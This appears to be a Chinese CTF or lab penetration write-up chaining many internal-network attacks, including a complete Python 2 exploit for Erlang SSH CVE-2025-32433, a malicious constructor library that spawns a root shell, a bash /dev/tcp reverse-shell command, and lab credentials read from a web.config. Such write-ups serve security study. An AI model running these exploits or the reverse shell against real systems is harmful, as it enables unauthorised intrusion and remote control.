一条龙“服务”渗透

http://10.103.227.95:8000/users/

访问这个,有报错,往下翻获得加密数据

解密获得凭证

hash爆一下获得admin:P@ssw0rd_123

ssh登陆

普通权限,通过利用admin的私钥连接root

fscan扫内网

192.168.66.128发现有个Jenkins

在当前机器家目录下的代码中找到了Jenkins的账户凭据泄露

拿着凭据直接改authorization头 直接登录后台

利用脚本地址:https://github.com/rabbitmask/Jenkins_Credentials_Crack/blob/master/jenkins_credential.py

ssh上去后sudo su提权

接着扫内网

有任意重置密码的洞CVE-2023-42820

https://cloud.tencent.com/developer/article/2357891

跟着打一遍

Web终端进入ssh界面,需要提权

构造恶意动态链

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 __attribute__((constructor))
void init() {

     setuid(0); setgid(0);

         system("/bin/sh");

  }

清晨的第一缕阳光

struts2一把梭

改administrator密码远程登陆拿flag

扫内网,发现192.168.99.112有永恒之蓝可以打

靶机环境问题,打了10多遍,只成功了一次

信息泄露引发的血案

​

Readme 路径发现泄露代码

审计之后发现XFF伪造+base64 路径穿越../可以读取任意文件

读flag

可以读web.config获取远程登陆的凭据

<?xml version="1.0" encoding="utf-8"?>
<!--
  有关如何配置 ASP.NET 应用程序的详细信息,请访问
  http://go.microsoft.com/fwlink/?LinkId=169433
  -->
<configuration>

  <connectionStrings>
    <add name="Conn" connectionString="Server=192.168.99.51;Database=ctfsec;Uid=root;Password=KyHbPqxA3tD8oj17yC;MultipleActiveResultSets=true" providerName="System.Data.SqlClient" />
  </connectionStrings>
  <appSettings>
    <!--配置数据库类型,用于适配兼容代码-->
    <!--<add key="DataBaseType" value="MsSql"/>-->

    <!--新框架临时变更为子应用程序所需要设置的前缀-->
    <add key="UI" value="/CN"/>
    <!--是否开启用户的列表列头过滤配置-->
    <add key="IsUserGridConfig" value="true"/>
    <!--是否开启角色的列表列头过滤配置-->
    <add key="IsRoleGridConfig" value="true"/>
    <!--TY.Data.Log 记录日志到Logs文件夹下-->
    <add key="IsWriteLog" value="true"/>
    <add key="OpenDebugInfo" value="true"/>
    <add key="LogConn" value="Conn"/>
    <add key="Aop" value="TY.Logic.Sys.Aop,TY.Logic"/>
    <!--配置数据库链接的名称,即你Web.config中链接数据库connectionStrings的name名称,默认为Conn-->
    <add key="DatabaseConnectionName" value="Conn"/>

    <add key="ReplaceSqlInjection" value=""/>

    <!--皮肤样式 blue/orange,默认orange-->
    <add key="WorkflowTheme" value="orange"/>

    <!--接入系统当前登录者信息上下文所在类,Value格式:类全名,程序集名-->
    <add key="CurrentLoginUser" value="TY.Core.CurrentUserInfo,TY.Core"/>
    <!--接入系统当前登录者信息上下文所在类对应的6个属性名  (UserId:MyUserId 其中UserId为工作流的参数名,MyUserId是接入系统当前登录者类中的属性名)-->
    <add key="CurrentLoginUserPropertyName"
       value="UserId:MyUserId,UserName:MyUserName,RealName:MyRealName,OrgId:MyOrgId,OrgName:MyOrgName,OrgFullName:MyOrgFullName,Mobile:CellPhone"/>
    <!--**********工作流引擎接入 配置结束**********-->


  </appSettings>
  <system.web>
    <httpRuntime requestValidationMode="2.0" requestPathInvalidCharacters="" maxRequestLength="1024000000" executionTimeout="30000000"/>
    <compilation debug="true" targetFramework="4.0">
    </compilation>
    <pages controlRenderingCompatibilityVersion="4.0">
      <namespaces>
      </namespaces>
    </pages>
    <customErrors mode="Off"></customErrors>
    <authorization>
      <deny users="1|2

root:KyHbPqxA3tD8oj17yC

抽象凭据,root登windows

登上去发现有df,不会免杀,寄:)

夜色最浓时

8080起的geoserver

用https://github.com/bmth666/GeoServer-Tools-CVE-2024-36401

直接打

打个内存马进去,用冰蝎连一下

甜土豆一把梭

上反连马搭隧道&fscan扫内网

192.168.188.223有postgresql数据库直接连

连上后直接sudo读flag,改一下root密码后连ssh

fscan继续扫

获得10.177.166.188:2222 => [ssh] 信息:protocol 2.0 Banner:[SSH-2.0-Erlang/5.2.8.]

找到CVE-2025-32433

但靶机没有python3环境只有pythpn2读,用ai改一下利用

#!/usr/bin/env python2  
# -*- coding: utf-8 -*-  
  
import socket  
import struct  
import time  
import argparse  
import base64  
import sys  
  
# === Helper to format SSH string (4-byte length + bytes) ===  
def string_payload(s):  
    s_bytes = s.encode("utf-8")  
    return struct.pack(">I", len(s_bytes)) + s_bytes  
  
# === Builds SSH_MSG_CHANNEL_OPEN for session ===  
def build_channel_open(channel_id=0):  
    return (  
        '\x5a'  # SSH_MSG_CHANNEL_OPEN  
        + string_payload("session")  
        + struct.pack(">I", channel_id)  
        + struct.pack(">I", 0x68000)  
        + struct.pack(">I", 0x10000)  
    )  
  
# === Builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload ===  
def build_channel_request(channel_id=0, command=None):  
    return (  
        '\x62'  
        + struct.pack(">I", channel_id)  
        + string_payload("exec")  
        + '\x01'  # want_reply = true  
        + string_payload(command)  
    )  
  
# === Builds a minimal but valid SSH_MSG_KEXINIT packet ===  
def build_kexinit():  
    cookie = '\x00' * 16  
  
    def name_list(l):  
        return string_payload(",".join(l))  
  
    return (  
        '\x14'  
        + cookie  
        + name_list([  
            "curve25519-sha256",  
            "ecdh-sha2-nistp256",  
            "diffie-hellman-group-exchange-sha256",  
            "diffie-hellman-group14-sha256",  
        ])  
        + name_list(["rsa-sha2-256", "rsa-sha2-512"])  
        + name_list(["aes128-ctr"]) * 2  
        + name_list(["hmac-sha1"]) * 2  
        + name_list(["none"]) * 2  
        + name_list([]) * 2  
        + '\x00'  
        + struct.pack(">I", 0)  
    )  
  
# === Pads a packet to match SSH framing ===  
def pad_packet(payload, block_size=8):  
    min_padding = 4  
    padding_len = block_size - ((len(payload) + 5) % block_size)  
    if padding_len < min_padding:  
        padding_len += block_size  
    return (  
        struct.pack(">I", len(payload) + 1 + padding_len)  
        + chr(padding_len)  
        + payload  
        + '\x00' * padding_len  
    )  
  
# === Convert system command to Erlang os:cmd format ===  
def format_erlang_command(cmd):  
    encoded_cmd = base64.b64encode(cmd.encode('utf-8'))  
    return 'os:cmd(binary_to_list(base64:decode("{}"))).'.format(encoded_cmd)  
  
# === Main exploit flow ===  
def main():  
    parser = argparse.ArgumentParser(description='Exploit for Erlang CVE-2025-32433')  
    parser.add_argument('-t', '--target', default="127.0.0.1", help='Target IP address (default: 127.0.0.1)')  
    parser.add_argument('-p', '--port', type=int, default=2222, help='Target port (default: 2222)')  
    parser.add_argument('-c', '--command', help='System command to execute (e.g., touch /tmp/success)')  
    parser.add_argument('-e', '--erlang', help='Raw Erlang code (e.g., os:cmd("touch /tmp/success").)')  
    args = parser.parse_args()  
  
    if args.erlang:  
        erlang_cmd = args.erlang  
    elif args.command:  
        erlang_cmd = format_erlang_command(args.command)  
    else:  
        parser.print_help()  
        return  
  
    try:  
        s = socket.create_connection((args.target, args.port), timeout=5)  
        print "[*] Connecting to SSH server..."  
  
        # 1. Send client banner  
        s.sendall("SSH-2.0-OpenSSH_8.9\r\n")  
        banner = s.recv(1024)  
        print "[+] Received banner: {}".format(banner.strip())  
  
        time.sleep(0.5)  
  
        # 2. Send KEXINIT  
        print "[*] Sending SSH_MSG_KEXINIT..."  
        s.sendall(pad_packet(build_kexinit()))  
        time.sleep(0.5)  
  
        # 3. Send CHANNEL_OPEN  
        print "[*] Sending SSH_MSG_CHANNEL_OPEN..."  
        s.sendall(pad_packet(build_channel_open()))  
        time.sleep(0.5)  
  
        # 4. Send CHANNEL_REQUEST  
        print "[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)..."  
        print "[*] Erlang payload: {}".format(erlang_cmd)  
        s.sendall(pad_packet(build_channel_request(command=erlang_cmd)))  
  
        print "[✓] Exploit sent! Command executed on target"  
  
        try:  
            response = s.recv(1024)  
            print "[+] Received response: {}".format(response.encode('hex'))  
        except socket.timeout:  
            print "[*] No response within timeout period (expected)"  
  
        s.close()  
  
    except Exception as e:  
        print "[!] Error: {}".format(e)  
        sys.exit(1)  
  
if __name__ == "__main__":  
    main()

​

这里原本是用ssh做的链式代理,然后在被控靶机上编译了一个nc去弹shell,后面发现靶机出网,那就简单多了,直接弹公网上

python2 python2.exp.py -t 10.177.166.188 -p 2222 -c "bash -i >& /dev/tcp/IP/port 0>&1"

内网还有一台域控,在前面的数据库找到一推凭证,喷洒一下获得一个用户凭据

打不通思密达,可能路走偏了,域内500+用户,可能遗漏了一些信息

​

​

​

​

​

​

​

​